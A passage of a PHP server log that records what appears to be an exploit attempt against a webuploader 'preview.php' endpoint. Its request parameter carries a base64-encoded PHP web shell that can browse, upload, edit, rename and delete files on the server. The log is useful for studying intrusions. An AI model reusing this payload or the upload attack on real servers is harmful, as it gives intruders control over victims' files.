] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:36+08:00 ] 116.213.36.234 POST 59.110.137.245/public/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002640s] [吞吐率:378.79req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, 